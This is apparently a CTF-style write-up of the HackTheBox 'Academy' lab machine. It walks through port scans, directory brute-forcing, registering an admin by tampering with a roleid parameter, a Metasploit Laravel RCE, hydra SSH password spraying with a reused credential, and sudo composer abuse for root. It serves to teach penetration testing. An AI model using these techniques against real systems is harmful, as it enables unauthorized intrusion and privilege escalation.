Acadmey HackTheBox Writeup

5 minute read


Academy is a easy rated Linux room on Hackthebox by egre55 and mrb3n. We make use a CVE on Laravel to get a shell on the box as user www-data. Credential found from .env file of the webserver is reused by user cry0l1t3 which was used to get the shell. User cry0l1t3 was on adm group and aureport was installed on the box which gave use the credentials for another user mrb3n. mrb3n can run composer as root which was exploited to get root shell on the box.

Port Scan

Full Port Scan

[email protected]:~/Documents/htb/boxes/academy$ nmap -p- --min-rate 10000 -v -oN nmap/allports
Nmap scan report for
Host is up (0.29s latency).
Not shown: 65409 closed ports, 123 filtered ports
22/tcp    open  ssh
80/tcp    open  http
33060/tcp open  mysqlx

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Nov  8 14:00:14 2020 -- 1 IP address (1 host up) scanned in 44.52 seconds

Detail Scan

[email protected]:~/Documents/htb/boxes/academy$ nmap -p22,80,33060 -oN nmap/detail -A -v
Nmap scan report for academy.htb (
Host is up (0.29s latency).

22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Hack The Box Academy
33060/tcp open  mysqlx?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Nov  8 14:03:32 2020 -- 1 IP address (1 host up) scanned in 177.00 seconds

There are three ports open. SSH is running on port 22, HTTP service on port 80 and Nmap guesses that the service running on port 33060 might be mysqlx.

HTTP Service on Port 80

1 We get redirected to http://academy.htb.

So let us add the entry to out /etc/hosts file.   academy.htb

Visiting academy.htb


Directory and file bruteforcing

[email protected]:~/Documents/htb/boxes/academy$ gobuster dir -u http://academy.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:            http://academy.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt,html
[+] Timeout:        10s
2021/02/27 14:09:47 Starting gobuster
/images (Status: 301)
/index.php (Status: 200)
/home.php (Status: 302)
/login.php (Status: 200)
/register.php (Status: 200)
/admin.php (Status: 200)
/config.php (Status: 200) 

We can see that the home.php have a redirection of status 302 which is a temporary redirection. Maybe we must be logged in to view the page and all other pages have a status code of 200.

Registering a user and intercepting the request with Burp

3 One interesting thing while registering is the roleid parameter which value is set to 0. After registering we get a 302 redirection to a success-page.php.

Logging in

4 We log in and only thing that I find interesting on this page is the username which might come handy later. So let us take a note of that.

Checking admin.php

5 I tried to login with the credentials that I used to login before. But I was unsuccessful. Then I thought of roleid parameter whose value was set to 0 and decided to register a new user with value of roleid set to 1.

Registering a new user


Logging on admin.php

7 This time we are logged in as admin. We can see we have two different usernames and a new hostname. So I added that to my host file.


8 We are presented with what looks like laravel debug page. On the same page we are presented with whole bunch of information.


Then I searched and found that there is a remote code execution vulnerability on laravel.


[email protected]:~/Documents/htb/boxes/academy$ searchsploit laravel
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                      |  Path
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
Laravel - 'Hash::make()' Password Truncation Security                                                               | multiple/remote/39318.txt
Laravel Log Viewer < 0.13.0 - Local File Download                                                                   | php/webapps/
PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)             | linux/remote/47129.rb
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read                                                           | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload                                                  | php/webapps/
-------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Firing Up Metasploit and getting a reverse shell

10 We have eveything that is needed to run this exploit.

Running the exploit

11 We get a shell as www-data.

Privilege Escalation

As I was manually browsing and looking at the contents of the webservers, I found credentials for the database. 12

Listing users on the box


So lets try that password for every user.

SSH password bruteforcing with hydra

[email protected]:~/Documents/htb/boxes/academy$ hydra -L user -P pass ssh://academy.htb
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2021-02-27 14:54:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:6/p:1), ~1 try per task
[DATA] attacking ssh://academy.htb:22/
[22][ssh] host: academy.htb   login: cry0l1t3   password: mySup3rP4s5w0rd!!
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2021-02-27 14:55:00

We get a hit. So let us login on the box using SSH as user cry0l1t3.

Logging as user mrb3n

[email protected]:~/Documents/htb/boxes/academy$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Sat 27 Feb 2021 09:11:02 AM UTC

  System load:             0.01
  Usage of /:              37.8% of 13.72GB
  Memory usage:            14%
  Swap usage:              0%
  Processes:               222
  Users logged in:         1
  IPv4 address for ens160:
  IPv6 address for ens160: dead:beef::250:56ff:feb9:b29

89 updates can be installed immediately.
42 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to Check your Internet connection or proxy settings

Last login: Wed Aug 12 21:58:45 2020 from
$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)

We are on adm group which means we can read important log files like auth.log,syslog etc.

Reading user flag

[email protected]:~$ cat user.txt 

Uploading linpeas using scp

[email protected]:~/Documents/htb/boxes/academy$ scp [email protected]:/dev/shm/
[email protected]'s password:   

Running linpeas on the box


We get a password for user mrb3n.

Shell as mrb3n

[email protected]:~$ su mrb3n
$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)

And we succesfully log in.

Checking sudo -l

[email protected]:/home/cry0l1t3$ sudo -l
[sudo] password for mrb3n: 
Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer

Our user can run composer as root. So, let us check this on gtfobins if we can use this to get a root shell on the box and it turns out we can.


Getting a root shell


Reading root flag

# cat /root/root.txt